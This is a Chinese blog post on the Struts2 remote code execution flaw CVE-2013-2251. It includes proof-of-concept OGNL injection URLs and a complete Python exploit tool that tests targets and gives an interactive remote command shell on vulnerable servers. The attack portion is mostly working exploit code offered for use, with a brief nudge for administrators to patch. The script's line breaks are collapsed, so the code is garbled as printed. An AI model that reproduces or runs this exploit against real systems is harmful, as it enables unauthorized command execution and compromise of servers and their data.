7·17中午刚刚午睡醒来就看到几个熟悉字眼——Struts2,远程执行代码。施特!难道继上回<s:a>标签后又新曝一个?本来还没睡醒的一下子清醒了。一看果断,紧接着某云就被刷屏了~~~一场腥风血雨画面即将上演。。。
据报道,受影响版本是2.0.0-2.3.15,CVE编号:CVE-2013-2251。原因是因为参数action的值redirect以及redirectAction没有正确过滤,导致允许***者在访问使用Struts2的应用时远程执行OGNL表达式
漏洞证明:
代码测试:
http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
官方已经更新补丁,管理员们速度打上,不然裤子被脱了还不知道。
URL:
下面show下python写的利用工具【图】
用GOOGLE一搜差点没吓尿,再次强烈建议管理今晚加班都要把这修补了!!!晚安
--------------------------更新py脚本代码-----------------------------------------
#!/usr/bin/env python# -*- coding: UTF-8 -*-##--------------------------------------# Struts2 2.0.0 - Struts 2.3.15# CVE-2013-2251#---------------------------------------#Copyright By ,Terryll right Reserved#author date comment#Terry 2013-7-17 Createdimport urllibimport urllib2import reimport sysurl_exp = "?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"def judge(url): #判断是否存在该漏洞 if url.endswith(".action") : try: url = url + url_exp #print url url_request = urllib2.Request(url) response = urllib2.urlopen(url_request) res_html = response.read() #print res_html[:100] if res_html.find(">") > 0: return "Failed" else: return "OK" #print response.func_code except : return "ERROR" else: return "url error"def get_args(argument): # #转化为参数的格式如:'ls','-al' # args = argument.split(' ') args_deal = '' for i in args: args_deal = args_deal + "'" + i + "'," args_deal = args_deal[:-1] return args_dealdef strip(str): # #去除首尾的\x00串 # tmp = str.strip() blank_line=re.compile('\x00') tmp=blank_line.sub('',tmp) return tmpdef attack(url): # #DO IT # try: url_request = urllib2.Request(url) response = urllib2.urlopen(url_request) res_html = response.read().strip() return strip(res_html) except : return "ERROR"if __name__ == '__main__': if len(sys.argv) > 1: #print get_url("ls -al") if judge(sys.argv[1]) == "OK": print "Success" pattern = re.compile(r'http[s]?://([\w\W]*?)/') url = sys.argv[1] + url_exp hostname = pattern.findall(url) #print hostname[0] loop = 1 while loop: string = raw_input(hostname[0] + " >") if string.startswith("exit"): break loop=0 if len(string) > 0: url_ = url.replace("'whoami'",get_args(string)) #print url_ print attack(url_) else: print "Failed" else: print("No argument!")